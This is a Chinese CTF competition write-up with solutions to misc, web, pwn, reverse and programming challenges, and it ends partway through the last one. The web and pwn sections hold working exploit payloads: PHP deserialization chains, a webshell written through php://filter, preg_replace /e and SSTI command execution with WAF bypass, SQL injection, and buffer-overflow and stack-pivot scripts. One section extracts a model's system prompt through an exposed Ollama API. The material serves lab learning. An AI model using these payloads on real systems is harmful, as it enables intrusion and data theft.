青少年CTF S1·2026 公益赛wp
本文最后更新于72 天前,其中的信息可能已经过时,如有错误请发送邮件到1416359402@qq.com

前言

比赛时间非常得长,有些题目上线了,中间也下了一些题目,但是后面好像就没有上新题目了。

队伍名字:flag 排名:15

解题情况全解

Misc

玫坏的压缩包

压缩包是损坏的

没有文件头,可以看到里面有word 补一下文件头就行

但是可以不用补直接binwalk就行

查看

document.xml

flag{w3_w111_411_60_fur7h3r_4nd_fur7h3r}

Ollama Prompt Injection

看名字应该就是一个AI题目 nc无法连接

通常 Ollama 的 API 默认监听在 11434 端口,这里被映射到了 55859

获取模型列表:使用 /api/tags 接口查看服务器上安装的模型。

http://challenge.qsnctf.com:55872/api/tags
或者 curl http://challenge.qsnctf.com:55872/api/tags

发现自定义模型:ctf-model:latest

提取系统提示词:使用 /api/show 接口导出该模型的详细配置,可能flag 作为系统预设指令藏在其中。

curl http://challenge.qsnctf.com:55872/api/show -d '{"name": "ctf-model:latest"}'

或者使用 HackBar 插件

qsnctf{de7199c3085c47028de9cbae460dd2c7}

一个哦010查看内容

可以发现pk头但是被反转了 按照8字节反转回来

py3脚本

import struct

def solve():
    input_file = "哦"
    output_file = "flag.zip"

    try:
        with open(input_file, 'rb') as f:
            content = f.read()
    except FileNotFoundError:
        print(f"找不到文件: {input_file},请确认文件名或路径。")
        return

    recovered_data = bytearray()

    # 全文按8字节块反转的
    chunk_size = 8

    for i in range(0, len(content), chunk_size):
        chunk = content[i : i + chunk_size]
        recovered_data.extend(chunk[::-1])

    with open(output_file, 'wb') as f:
        f.write(recovered_data)

    print(f"处理完成!已生成文件: {output_file}")
    print(" flag.zip 。")

if __name__ == '__main__':
    solve()

有加密

不是伪加密,爆破无解,只能已知明文进行爆破了

bkcrack.exe -C flag.zip -c a.png -x 0 89504E470D0A1A0A0000000D49484452
d590788c b34e73fb 40e733d1

有key了直接解压

图片进行foremost可以得到两张图片进行双图盲水印

python bwmforpy3.py decode 2.png 1.png 3.png
flag{01d38cf8-e6f9-11f0-8fcd-11155d4a}

qr

缩小就行

手机扫码或者改变颜色电脑可以扫码

flag{56876aae7cb7b98a3756bac05c6b6675}

QSNCTF

灵异事件

0110011001101100011000010110011101111011001101000110010000110010001101000011011101100001011000110011001100110001001101100110001000110001011000110110011000110111011001010110011000110101001100110110000100110001001101010011100101100011001100110011000000110001001101100110001001100001011000100011100101111101

二进制转ASCII

flag{4d247ac316b1cf7ef53a159c3016bab9}

找到呆唯

先base64转图片jpg

010查看

发现还有base64转图片提取在转图片就行

exp.py

import base64

with open('string.txt', 'r') as f:
    content = f.read()

start_index = content.find('iVBORw0KGgoAAA')
if start_index != -1:
    img_data_b64 = content[start_index:]
    img_data = base64.b64decode(img_data_b64)

    with open('haha.png', 'wb') as f:
        f.write(img_data)
    print("成功提取 haha.png")
else:
    print("未找到 PNG 数据头")

出来二维码扫描就行

flag{iam_here!!!}

好,把他们上市

已知明文爆破就行

需要用 Python 的 zlib 库把它解压一下

exp.py

import zlib

try:
    with open('pass.txt', 'rb') as f:
        data = f.read()

    print(f"[-] 读取到数据长度: {len(data)}")

    decompressed_data = zlib.decompress(data, -15)

    print(f"[+] 解压成功!原始文件大小: {len(decompressed_data)} 字节")

    header = decompressed_data[:8].hex().upper()
    print(f"[+] 真实文件头: {header}")

    ext = "txt"
    if header.startswith("89504E47"):
        ext = "png"
        print("[!] 这是一个 PNG 图片!")
    elif header.startswith("FFD8FF"):
        ext = "jpg"
    elif header.startswith("504B0304"):
        ext = "zip"

    out_filename = f"real_pass.{ext}"
    with open(out_filename, 'wb') as f:
        f.write(decompressed_data)

    print(f"[+] 已保存为: {out_filename} (快去打开它!)")

except Exception as e:
    print(f"[x] 解压失败: {e}")
    print("提示:如果报错,请尝试改用 bkcrack -U 命令生成一个新的 zip 文件直接打开。")

pass.txt是一个png

扫描

得到压缩包密码

1145141919810

解压7z

flag,base64解密就行

记得后面的!!!

flag{What_WAS_Y0ur_MISS0N_in_ShangHAI!!!}

消失的Yui

领宽字符

可以知道flag格式

txt每个都有emj 可以提取出来进行base100解密

👫👟👜👧👘👪👪📦💳💑👋👩👐👖👫👦👖🐽🐨👅👛👖👤🐪

得到压缩包密码

TrY_to_F1Nd_m3

里面二维码扫描得到 但是需要key key应该在txt里面

z2qbTYV1U4vpBNoL7jEGcAFyrLpTnlNQdi4OuFxsFl8=
第一部分: 钟楼指针指向“十一时四十五分”  -> 数字 1145
第二部分: 档案柜的隔层编号为“14”与“19”  -> 数字 14 和 19
第三部分: 学术期刊的年份是“1981”  -> 数字 1981
第四部分: 仪器刻度盘显示“零点”  -> 数字 0
1145141919810

rc4解密就行

31°49′14″N 117°13′38″E

合肥

flag{hefei}

Web

S1签到

群公告

Q5NC7F-51
qsnctf{efc9734c06274023aee974e8aaa91f2b}

easy_php

PHP 反序列化 (POP 链构造)题目

入口点:unserialize($_GET['code']),存在反序列化漏洞。
过滤:preg_match('/flag/i', $input) 禁止输入中出现 flag 字符串。

POP 链分析:

起点:Monitor::__destruct()。当对象销毁时,如果 $status 为 "danger",调用 $this->reporter->alert()。
跳板:我们需要将 $reporter 替换为 Screen 类的一个实例。
终点:Screen::alert()。该方法执行动态函数调用 $func($this->content)。

逻辑:

构造一个 Monitor 对象,将 $status 设为 danger。
然后将 Monitor 的 $reporter 属性设为一个 Screen 对象。
设置 Screen 的 $format 为 system(执行命令)。
设置Screen的$content 为cat /f*
使用通配符 * 为了绕过代码中对 flag关键词的正则过滤。Shell 会将 /f* 解析为 /flag,这样就可以了

Payload

<?php
class Monitor {
    private $status = "danger";
    private $reporter;

    public function __construct($obj) {
        $this->reporter = $obj;
    }
}

class Screen {
    public $content = "cat /f*";  // 使用通配符绕过 preg_match
    public $format = "system";    // 调用 system 函数执行命令
}

// 1. 创建 Screen 对象,用于执行命令
$screen = new Screen();

// 2. 创建 Monitor 对象,并将 reporter 指向 screen。
$monitor = new Monitor($screen);

// 3. 输出 URL 编码后的 Payload
echo urlencode(serialize($monitor));
?>

访问 URL:

http://challenge.qsnctf.com:52694/?code=O%3A7%3A%22Monitor%22%3A2%3A%7Bs%3A15%3A%22%00Monitor%00status%22%3Bs%3A6%3A%22danger%22%3Bs%3A17%3A%22%00Monitor%00reporter%22%3BO%3A6%3A%22Screen%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3Bs%3A6%3A%22format%22%3Bs%3A6%3A%22system%22%3B%7D%7D
qsnctf{711160717847437d8dcb16093b91b948}

silent_logger

SQL注入的题目

数据库:SQLite(后面测试发现 information_schema不存在,但 sqlite_master存在)。

就可以说明数据库用的是SQLite

爆表名:
构造 Payload 查询 sqlite_master`表:

-1' UNION SELECT 1, group_concat(tbl_name), 3 FROM sqlite_master WHERE type='table' --

得到目标表:flags

爆列名:
SQLite 中需查看建表语句 (sql 字段) 来得知列名:

-1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE tbl_name='flags' --

获取 flag:
查询 flags 表的 value 列:

-1 UNION SELECT 1, value, 3 FROM flags --
qsnctf{4ed7dedc44da4df8836977b4044b6e63}

Serialization

漏洞入口在unserialize($_POST['data']) 触发反序列化。
POP 链:AuditLog::__toString() 调用 $this->handler->process(),利用 FileCache::process() 写入文件。
绕过发现写入文件时头部强制拼接了 <?php exit(...); ?>。
解决:就利用 PHP 伪协议 php://filter/write=convert.base64-decode就行因为 exit 语句中的 Base64 有效字符数为 33 个,补 3 个字符(aaa)凑齐 36 个(4的倍数),使头部解码为乱码,从而绕过退出指令执行后方的 Webshell。

Payload

<?php
class AuditLog {
    public $handler;
}
class FileCache { 
    public $filePath; 
    public $content; 
}

$x = new AuditLog();
$x->handler = new FileCache();
$x->handler->filePath = 'php://filter/write=convert.base64-decode/resource=shell.php';
$x->handler->content = 'aaa' . base64_encode('<?php system("cat /f*");?>');

echo urlencode(serialize($x));
?>

访问:http://challenge.qsnctf.com:52815/shell.php

qsnctf{f41640613076473182404ee0fdbfac08} 

时间胶囊留言板

逻辑漏洞,就是后端没有校验时间限制

解题步骤

F12 查看源代码。
发现接口:在 JavaScript 代码中发现数据请求接口 get_content.php?id=,同时在 HTML 列表中发现未解封的 flag 留言对应的 ID 为 content-2( id=2)。
构造请求:后端并没有验证当前时间是否到达解封日期,直接访问接口即可绕过前端限制。
访问地址:http://challenge.qsnctf.com:55741/get_content.php?id=2
qsnctf{f3762adeca6943ccb33c8dc476c68610}

preg_replace

分析

题目代码如下:

echo preg_replace("/(.*)/e", "\1", $input);

在 PHP 5.x 中,preg_replace 函数的 /e 修饰符会将替换字符串作为 PHP 代码执行。这说明变量 $input 的内容会被 eval 执行。

绕过限制

直接传入 system('ls') 会因为函数内部自动转义单引号导致语法错误(syntax error)。
绕过:使用 $_GET[a] 作为中间变量传递命令字符串,避免在 data 参数中直接出现引号。
利用 Payload:?data=system($_GET[a])&a=命令 就可以了

Payload:

http://challenge.qsnctf.com:55833/?data=system($_GET[a])&a=ls
http://challenge.qsnctf.com:55833/?data=system($_GET[a])&a=ls /
http://challenge.qsnctf.com:55833/?data=system($_GET[a])&a=cat /flag
qsnctf{dff12d1dd44749e1a40d91306f659e8c} 

CallBack

题目用 array_map($callback, [0,1,2,3]),这意味着用户传入的函数会被执行,但参数被强制固定为数字 0-3。因此,system 等命令执行函数无法使用(system(0) 无效)。

可以用 phpinfo() 函数。

它接受整数参数,忽略参数,符合题目,它会将服务器的所有环境变量打印出来

Payload

http://challenge.qsnctf.com:55842/?callback=phpinfo
    qsnctf{c893c0079b974676b4dbffad9c43b7d8}

答案之书

模板注入、WAF 绕过

题目是 Python Flask 环境。在输入框输入 {{7*7}},页面回显 49,确认存在 Jinja2 SSTI 漏洞。

尝试输入 {{config}}、{{flag}} 或 {{''.__class__}},页面提示“禁忌之语”或报错。
题目设置了黑名单,过滤了 os、flag、system、popen、__globals__ 等敏感关键词。

绕过思路(Hex编码)

既然过滤的是明文关键词,我们可以利用 Python 支持 十六进制字符串(Hex) 的特性来绕过。
如:os 可以写成 x6fx73,WAF 认不出这是 os,但 Python 后端执行时会自动还原。
同时,为了避免使用点号 `.` 可能带来的过滤,使用字典中括号 ['...'] 的形式调用属性。

构造链条

找一个内置对象 (lipsum 或 url_for) -> 获取全局变量 (__globals__) -> 引入 os 模块 -> 调用 popen 执行命令 -> read 读取结果。
将链条中的所有字符串转换为 Hex 编码:
globals -> x5fx5fx67x6cx6fx62x61x6cx73x5fx5f
os -> x6fx73
popen -> x70x6fx70x65x6e
cat /flag -> x63x61x74x20x2fx66x6cx61x67`

Payload

使用lipsum 模块
/?question={{lipsum['x5fx5fx67x6cx6fx62x61x6cx73x5fx5f']['x6fx73']['x70x6fx70x65x6e']('x63x61x74x20x2fx66x6cx61x67')['x72x65x61x64']()}}
或者使用url_for模块
/?question={{url_for['x5fx5fx67x6cx6fx62x61x6cx73x5fx5f']['x6fx73']['x70x6fx70x65x6e']('x63x61x74x20x2fx66x6cx61x67')['x72x65x61x64']()}}
或者使用cycler 模块
/?question={{cycler['x5fx5fx69x6ex69x74x5fx5f']['x5fx5fx67x6cx6fx62x61x6cx73x5fx5f']['x6fx73']['x70x6fx70x65x6e']('x63x61x74x20x2fx66x6cx61x67')['x72x65x61x64']()}}

上面的经过测试都可以
qsnctf{5fea3d1543084859aa2963913b900b27}

编程

两数之和

这 PPC 题目,要求与服务器交互,在短时间内完成 100 轮计算。核心是 两数之和 问题:在给定列表中找到两个数,使其和等于目标值,并返回它们的索引和数值。

提取数据:使用正则表达式从服务器返回的文本中解析出 List 数组和 Target 目标值。
解:使用双重循环遍历数组,找到满足 nums[i] + nums[j] == target 的两项。
发送:将结果格式化为 (idx1,idx2,num1,num2) 发送回服务器,循环 100 次直至获得 flag。

py3脚本呈现

from pwn import *
import re

context.log_level = 'error'

try:
    conn = remote('challenge.qsnctf.com', 52538)

    while True:
        try:
            data = conn.recvuntil(b'>').decode()
            print(data, end='')

            list_match = re.search(r'List = [(.*?)]', data)
            target_match = re.search(r'Target = (d+)', data)

            if not list_match or not target_match:
                rest = conn.recvall().decode()
                print(rest)
                break

            nums = list(map(int, list_match.group(1).split(',')))
            target = int(target_match.group(1))

            result = None
            for i in range(len(nums)):
                for j in range(i + 1, len(nums)):
                    if nums[i] + nums[j] == target:
                        result = (i, j, nums[i], nums[j])
                        break
                if result:
                    break

            if result:
                payload = str(result).replace(" ", "")
                conn.sendline(payload.encode())
            else:
                break

        except EOFError:
            print(conn.recvall().decode())
            break
        except Exception:
            break

except Exception as e:
    print(e)
qsnctf{53083ee3a86644bab418cf4b95b2e7ed}

回文数

编程题。

交互逻辑:连接服务器后,服务器会不断发送一个整数,要求判断是否为回文数(正读和反读一样)。
核心:在于猜测服务器要求的返回格式。常见的有 yes/no、1/0 或 True/False,本题要求返回 True 或 False (首字母大写)。
解:编写脚本,正则提取数字,利用字符串切片翻转判断 s == s[::-1],循环提交即可。

py脚本呈现

from pwn import *
import re

context.log_level = 'error'

try:
    conn = remote('challenge.qsnctf.com', 52622)

    while True:
        try:
            data = conn.recvuntil(b'Input>').decode()

            nums = re.findall(r'-?d+', data)

            if not nums:
                print(data)
                print(conn.recvall().decode())
                break

            target = nums[-1]

            if target == target[::-1]:
                conn.sendline(b'True')
            else:
                conn.sendline(b'False')

        except EOFError:
            try:
                print(conn.recvall().decode())
            except:
                pass
            break
        except Exception:
            break

except Exception as e:
    print(e)
qsnctf{c9ab78dcf1aa48a18d57cc169256d010}

罗马数字转整数

PPC 题目。题目要求在多轮交互中接收服务器发送的罗马数字字符串,如 CDXXXVI,将其转换为十进制整数并发送回服务器,完成所有轮次即可获得 flag。

思路,提取:通过正则表达式 ([IVXLCDM]+) 提取题目给出的罗马数字串。

算法

建立映射表:I:1, V:5, X:10, L:50, C:100, D:500, M:1000。
遍历字符串:若当前位数字 < 下一位数字(如 IV 中的 I),则减去当前位;否则加上当前位。

循环处理每一轮直到连接断开就得到 flag了。

py脚本呈现

from pwn import *
import re

context.log_level = 'error'

def roman_to_int(s):
    roman = {'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000}
    res = 0
    for i in range(len(s)):
        if i + 1 < len(s) and roman[s[i]] < roman[s[i+1]]:
            res -= roman[s[i]]
        else:
            res += roman[s[i]]
    return res

try:
    io = remote('challenge.qsnctf.com', 52627)

    while True:
        try:
            data = io.recvuntil(b'>').decode()

            match = re.search(r'Round d+:s+([IVXLCDM]+)', data)

            if match:
                r_num = match.group(1)
                ans = roman_to_int(r_num)
                io.sendline(str(ans).encode())
            else:
                print(data)
                print(io.recvall().decode())
                break

        except EOFError:
            print(io.recvall().decode())
            break

except Exception as e:
    print(e)
qsnctf{d49ce31229f14a87bef5e248d708fca0}

最长公共前缀

交互逻辑:服务器发送一个包含若干字符串的列表,要求找出这些字符串的最长公共前缀。

核心:在于快速解析数据和调用算法。

解析:利用正则表达式 [.*?] 匹配列表字符串,使用 eval() 将其转为 Python 列表。
算法:Python 的标准库 os.path.commonprefix(list) 本质上就是按字符比较返回最长公共前缀,直接使用,不用手写循环

py3脚本呈现

from pwn import *
import re
import os

context.log_level = 'error'

try:
    conn = remote('challenge.qsnctf.com', 52640)

    while True:
        try:
            data = conn.recvuntil(b'>').decode()

            match = re.search(r'[.*?]', data, re.DOTALL)

            if match:
                str_list = eval(match.group(0))
                ans = os.path.commonprefix(str_list)
                conn.sendline(ans.encode())
            else:
                print(data)
                print(conn.recvall().decode())
                break

        except EOFError:
            print(conn.recvall().decode())
            break
except Exception as e:
    print(e)
qsnctf{e3ac062cfc2742b990a71f63c9165f6f}

有效的括号

有效括号算法题

交互逻辑:服务器发送包含 ()[]{} 的字符串,要求判断括号闭合是否合法。

解题算法:

使用栈 (Stack)
遇到左括号 ( [ {:压入栈中。
遇到右括号 ) ] }:弹出栈顶元素,检查是否匹配。如果栈为空或不匹配,则为 False。
最后若栈为空,则为 True。

返回格式:题目明确要求 True或 False(区分大小写)。

思路

使用 re.findall(r'[(){}[]]+', data) 提取题目中的括号字符串。
定义 is_valid 函数实现栈的判断逻辑。
循环接收并发送结果,直到拿到 flag。

py脚本呈现

from pwn import *
import re

context.log_level = 'error'

def is_valid(s):
    stack = []
    mapping = {")": "(", "}": "{", "]": "["}
    for char in s:
        if char in mapping:
            top_element = stack.pop() if stack else '#'
            if mapping[char] != top_element:
                return False

        else:
            stack.append(char)
    return not stack

try:
    io = remote('challenge.qsnctf.com', 52663)

    while True:
        try:
            data = io.recvuntil(b'Input>').decode()

            matches = re.findall(r'[(){}[]]+', data)

            if not matches:
                if "{" in data or "flag" in data.lower():
                    print(data)
                    print(io.recvall().decode())
                    break
                target = ""
            else:
                target = matches[-1]

            if is_valid(target):
                io.sendline(b'True')
            else:
                io.sendline(b'False')

        except EOFError:
            print(io.recvall().decode())
            break

except Exception as e:
    print(e)
qsnctf{a21182a3ab8f4f5faac754585f4caaa5}

上下火车

斐波那契数列的数学规律题

把每一站车上的人数状态拆开,全用已知变量 a(始发站人数)和未知数 u(第二站上车人数)的系数来表示。

把每一站车上的人数状态拆开,全用已知变量 a(始发站人数)和未知数 u(第二站上车人数)的系数来表示。

推导每一站的系数逻辑:
第 1 站:总人数 1a + 0u
第 2 站:总人数 1a + 0u,但这站上车了 u 人,会直接影响后面的递推。
从第 3 站开始,上车人数是前两站上车之和,下车是上一站上车人数。离开这一站的总人数就等于:前一站总人数 + 这一站上车人数 - 这一站下车人数。

开四个数组,分别存每一站 上车人数的 a 系数、上车人数的 u 系数、总人数的 a 系数、总人数的 u 系数,写个 for 循环一路推到底。

算到第 n-1 站时,题目给出终点站(第 n 站)下车人数是 m,这就意味着离开第 n-1 站时,车上的总人数就是 m。
拿第 n-1 站的总人数公式:ca * a + cu * u = m,直接反推出未知数 u 的值:u = (m - ca * a) // cu。

算出真正的 u 以后,去数组里查第 x 站的系数,代入 a 和 u 算出具体人数发过去。pwntools 写正则提取参数,循环跑 100 轮得flag。

py3脚本呈现

from pwn import *
import re

context.log_level = 'warn'

def solve():
    try:
        r = remote('challenge.qsnctf.com', 55627)
        r.recvuntil(b'Good luck!')

        for _ in range(100):
            prefix = r.recvuntil(b'Target station (x):').decode()
            x_text = r.recvline().decode().strip()

            n = int(re.search(r'Stations (n): (d+)', prefix).group(1))
            a = int(re.search(r'Initial (a): (d+)', prefix).group(1))
            m = int(re.search(r'Total at n-1 (m): (d+)', prefix).group(1))
            x = int(x_text)

            if x == n:
                ans = 0
            else:
                up_a = [0] * (n + 1)
                up_u = [0] * (n + 1)
                tot_a = [0] * (n + 1)
                tot_u = [0] * (n + 1)

                up_a[1] = 1; up_u[1] = 0
                tot_a[1] = 1; tot_u[1] = 0

                if n >= 2:
                    up_a[2] = 0; up_u[2] = 1
                    tot_a[2] = 1; tot_u[2] = 0

                for i in range(3, n + 1):
                    up_a[i] = up_a[i-1] + up_a[i-2]
                    up_u[i] = up_u[i-1] + up_u[i-2]
                    tot_a[i] = tot_a[i-1] + up_a[i-2]
                    tot_u[i] = tot_u[i-1] + up_u[i-2]

                idx_m = n - 1
                ca = tot_a[idx_m]
                cu = tot_u[idx_m]

                if cu == 0:
                    u = 0
                else:
                    u = (m - ca * a) // cu

                ans = tot_a[x] * a + tot_u[x] * u

            r.sendline(str(ans).encode())
            print(f"Round {_ + 1}/100 solved")

        r.interactive()
    except Exception as e:
        print(f"Error: {e}")

if __name__ == '__main__':
    solve()
qsnctf{5c48772f393d41a69ac5d46e7df10639}

Pwn

好多“后”门!

有附件

ExeinfoPe 查询

32位

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  Team();
  return 0;
}

Team

int Team()
{
  char buf; // [esp+8h] [ebp-90h]

  puts((const char *)&unk_8049930);
  fflush(stdout);
  read(0, &buf, 0x100u);
  puts(&buf);
  printf("Did you not read the question? ");
  return fflush(stdout);
}

漏洞点在Team 函数:

变量位置:char buf 位于 [ebp-90h]。
漏洞点:read(0, &buf, 0x100u) 读取了 0x100 (256) 字节,而 buf 只有 0x90 (144) 字节,存在栈溢出。
后门函数:题目有多个干扰函数(fake…),目标函数为 f4ck_backdoor_flag。

计算偏移

需要覆盖 buf 的空间和旧的 EBP才能修改返回地址。
Offset = 0x90(十进制 144) + 4 (32位 EBP 长度) = 148。

思路

就是直接 Ret2text 技术就可,填充 148 个垃圾字符,将返回地址覆盖为 f4ck_backdoor_flag的地址,就行了

exe.py

from pwn import *

p = remote('challenge.qsnctf.com', 52856)
elf = ELF('./pwn')

offset = 148
backdoor = elf.symbols['f4ck_backdoor_flag']

payload = b'a' * offset + p32(backdoor)

p.sendline(payload)
p.interactive()
qsnctf{8b79a0189e39405896f7b30eceb62faa}

study_system

有附件

IDA 反编译

漏洞位于 gk 函数。

在 IDA 中查看该函数,发现存在栈溢出漏洞:

程序定义了一个缓冲区,位于 ebp-0x5C (92字节)。
程序调用 read(0, buf, 0x68) 读取了 104 字节。
溢出空间:104 - 92 = 12 字节。
这正好足够覆盖 Saved EBP (4字节) 和 Return Address (4字节),可以进行 栈迁移 (Stack Pivot)。
此外,该函数在 read 之前调用了 close(1),关闭了标准输出,导致普通的 system("/bin/sh") 无法回显。

利用逻辑

Payload :

利用 12 字节的溢出,将 EBP 修改为 BSS 段的一个安全地址(bss_addr + 0x5c)。
将返回地址修改为 0x804aef5(push 1; call close 处)。
这会使程序执行完当前的 leave; ret 后,栈帧迁移到 BSS 段,并重新执行 read 函数,这次读取的数据将写入 BSS 段。

Payload :

此时输入的数据会被写入 BSS 段。
构造 ROP 链调用 system 函数。
关键点:由于 stdout 被关闭,我们需要执行的命令是 cat flag >&0,将结果重定向回标准输入(socket),从而拿到 flag。

exp.py

from pwn import *
import time

context.log_level = 'debug'
context.binary = elf = ELF('./pwn')

p = remote('challenge.qsnctf.com', 38901)

bss_addr = elf.bss() + 0x600 
if bss_addr % 0x10 != 0:
    bss_addr = (bss_addr & ~0xF) + 0x10

system_plt = elf.plt['system']
leave_ret = ROP(elf).find_gadget(['leave', 'ret'])[0]
pivot_addr = 0x804aef5

p.recvuntil(b'5.Byen')
p.sendline(b'4')
p.recvuntil(b'What preparations have you made?n')

payload1 = b'A' * 92
payload1 += p32(bss_addr + 0x5c)
payload1 += p32(pivot_addr)
payload1 = payload1.ljust(104, b'x00')

p.send(payload1)
time.sleep(0.5)

cmd_str = b'cat flag >&0x00'

payload2 = p32(system_plt)
payload2 += p32(0xDEADBEEF)
payload2 += p32(bss_addr + 12)
payload2 += cmd_str
payload2 = payload2.ljust(92, b'x00')
payload2 += p32(bss_addr - 4)
payload2 += p32(leave_ret)
payload2 = payload2.ljust(104, b'x00')

p.send(payload2)

p.interactive()
qsnctf{67dcb68c911d4c8296b8820891802670}

Reverse

ezpy

pyinstxtractor 进行解包

pycdc.exe进行反编译ezpy.pyc

# Source Generated with Decompyle++
# File: ezpy.pyc (Python 3.8)

def check_flag(flag):
    if not flag.startswith('flag{') or flag.endswith('}'):
        return False
    core = None[5:-1]
    key = [
        19,
        55,
        66,
        102]
    enc = []
    for i, c in enumerate(core):
        enc.append(ord(c) ^ key[i % len(key)])
    target = [
        118,
        91,
        53,
        1,
        117,
        86,
        48,
        19]
    return enc == target

def main():
    user_input = input('Input your flag: ').strip()
    if check_flag(user_input):
        print('Correct! 🎉')
    else:
        print('Wrong flag ❌')

if __name__ == '__main__':
    main()

加密逻辑如下:

截取 flag{}中间的字符串。
将字符串与 key数组进行循环异或。
比较结果是否等于 target 数组。

py脚本呈现

target = [118, 91, 53, 1, 117, 86, 48, 19]
key = [19, 55, 66, 102]
flag_core = ""

for i, c in enumerate(target):
    flag_core += chr(c ^ key[i % len(key)])

print(f"flag{{{flag_core}}}")
flag{elwgfaru}

EasyRSA?

查壳: C# (.NET) 编写,无壳。,ILSpy打开

逻辑:在CheckMe.Form1类中找到button1_Click 函数。

代码逻辑如下:

获取输入字符串,UTF-8 编码并反转字节序(对应 BigInteger 的小端序特性,实际等于构建了大端序整数)。
进行 RSA 加密运算:BigInteger.ModPow(value, exponent, modulus)。
将结果与硬编码的密文 text 进行比对。
// CheckMe.Form1
using System;
using System.Numerics;
using System.Text;
using System.Windows.Forms;

private void button1_Click(object sender, EventArgs e)
{
    if (string.IsNullOrWhiteSpace(textBox1.Text))
    {
        MessageBox.Show("效验值不能为空", "提示", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
        return;
    }
    try
    {
        byte[] bytes = Encoding.UTF8.GetBytes(textBox1.Text);
        Array.Reverse(bytes);
        byte[] array = new byte[bytes.Length + 1];
        Array.Copy(bytes, array, bytes.Length);
        array[array.Length - 1] = 0;
        BigInteger value = new BigInteger(array);
        BigInteger exponent = new BigInteger(3);
        BigInteger modulus = BigInteger.Parse("139906397693819072650020069738596428398031056847078650722938421657851057538054976098647199375778966594569804403764522779998221022521589609634646037802060716905855507095146407052611429717736127575527226826221045673236950913759662383017581323909723145061976871530014985740162801140394142912236064962190443170959");
        BigInteger bigInteger = BigInteger.ModPow(value, exponent, modulus);
        string text = "2217344750798660611960824139035634065708739786485564450254905817930548259011086486194666552393884157042723116691899397246215979757440793411656175068361811329038472101976870023549368315569713807716791321322016687562917756728015984717774303119415642719966332933093697227475301";
        if (bigInteger.ToString() == text)
        {
            MessageBox.Show("验证成功!Flag正确。", "成功", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
        }
        else
        {
            MessageBox.Show("验证失败,请重新输入。", "错误", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
    }
    catch (Exception ex)
    {
        MessageBox.Show("发生错误:" + ex.Message, "异常");
    }
}

漏洞,代码中的加密参数:

Modulus (N): 非常大 (1024位左右)。
Exponent (e): 3。
Ciphertext ©: 已知。

RSA 低加密指数攻击,由于 e=3,e=3 极小,且明文长度有限,极大概率满足 m3<nm3<n。此时 RSA 的取模运算未生效,只需对密文 cc 直接开三次根号即可还原明文。

py3代码呈现

import gmpy2
from Crypto.Util.number import long_to_bytes

e = 3
c = int("2217344750798660611960824139035634065708739786485564450254905817930548259011086486194666552393884157042723116691899397246215979757440793411656175068361811329038472101976870023549368315569713807716791321322016687562917756728015984717774303119415642719966332933093697227475301")
# N 不需要用到,因为 m^3 < N

# 2直接开三次方根
m, exact = gmpy2.iroot(c, e)

if exact:
#Python 直接转字符就OK了
    print(long_to_bytes(m).decode())
else:
    print("解密失败")
flag{8a5e3e5eac499995bd10c17f8bc9c954}

AES?

和RSA一样就是加密改了

一样的程序,用 ILSpy 打开目标程序。

定位:在 Form1 类中找到 button1_Click函数。
逻辑:程序获取用户输入,进行 AES 加密,并将加密结果与硬编码的 Base64 字符串进行比对。

参数提取

分析 C# 代码,提AES 解密所需的关键参数:

密文 :

v6XOdOAcNjXvbD8NSHvRdr98ZSVzUvCY9Kdi8DU4DMZ+IFteVt2XpayB3jSDfOsf
 Base64编码
模式 Mode:AES / CBC / PKCS7 Padding。
密钥 Key:
代码逻辑为将 q1s1c1t1f1 放入 16 字节数组中。
实际值:q1s1c1t1f1 后补 6 个 0x00。
偏移量 IV:
代码为 new byte[16],默认为全 0x00。

py3代码呈现

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

cipher_text = base64.b64decode("v6XOdOAcNjXvbD8NSHvRdr98ZSVzUvCY9Kdi8DU4DMZ+IFteVt2XpayB3jSDfOsf")
key = b"q1s1c1t1f1".ljust(16, b'x00')  # 补齐到16字节
iv = b'x00' * 16                          # 全0 IV

# 2. AES 解密
try:
    aes = AES.new(key, AES.MODE_CBC, iv)
    decrypted = unpad(aes.decrypt(cipher_text), AES.block_size)
    print("Flag:", decrypted.decode('utf-8'))
except Exception as e:
    print("Error:", e)
flag{4f7786120450144791741bd082bfdb58}

CheckME

RSA 逆向题目是小公钥指数攻击的变种

exp.py

import sys

n = 139906397693819072650020069738596428398031056847078650722938421657851057538054976098647199375778966594569804403764522779998221022521589609634646037802060716905855507095146407052611429717736127575527226826221045673236950913759662383017581323909723145061976871530014985740162801140394142912236064962190443170959
c = 2217344750798660611960824139035634065708739786485564450254905817930548259011086486194666552393884157042723116691899397246215979757440793411656175068361811329038472101976870023549368315569713807716791321322016687562917756728015984717774303119415642719966332933093697227475301

def solve():
    k = 0
    while True:
        target = k * n + c
        low = 0
        high = target
        found = False
        m = 0

        while low <= high:
            mid = (low + high) // 2
            cube = mid * mid * mid
            if cube == target:
                found = True
                m = mid
                break
            elif cube < target:
                low = mid + 1
            else:
                high = mid - 1

        if found:
            try:
                flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
                print(flag)
                break
            except:
                pass
        k += 1

if __name__ == '__main__':
    solve()
flag{8a5e3e5eac499995bd10c17f8bc9c954}

muffin_cake

加密主要在sub_140003F40

加密逻辑

输入字符先异或 0x66,然后减去 120(发生8位无符号整数溢出截断),最终结果与硬编码数组 v6 进行逐字节比对。
公式:cipher = (plain ^ 0x66) - 120

解题

定位到 sub_140003F40 的 for 循环(次数为37)。
提取出栈中赋值的 37 字节密文数组 v6。
根据加密公式逆推:将密文加 120,在 Python 中按 & 0xFF 模拟 uint8 溢出,再异或 0x66 即可还原明文。

exp.py

v6 = [-97, -99, -112, -115, -102, -120, -91, -105, -37, -80, -39, -63, -77, -101, -88, -120, -33, -112, -63, -83, -81, -107, -35, -63, -118, -85, -110, -33, -115, -33, -34, -69, -37, -31, -31, -31, -93]
flag = "".join([chr(((c + 120) & 0xFF) ^ 0x66) for c in v6])
print(flag)
qsnctf{i5N7_MuFf1n_CAk3_dEl1c10U5???}

oi_feelings

32×32 迷宫,动态规划DP / TLS反调试与数据加密

TlsCallback_0 数据初始化/解密
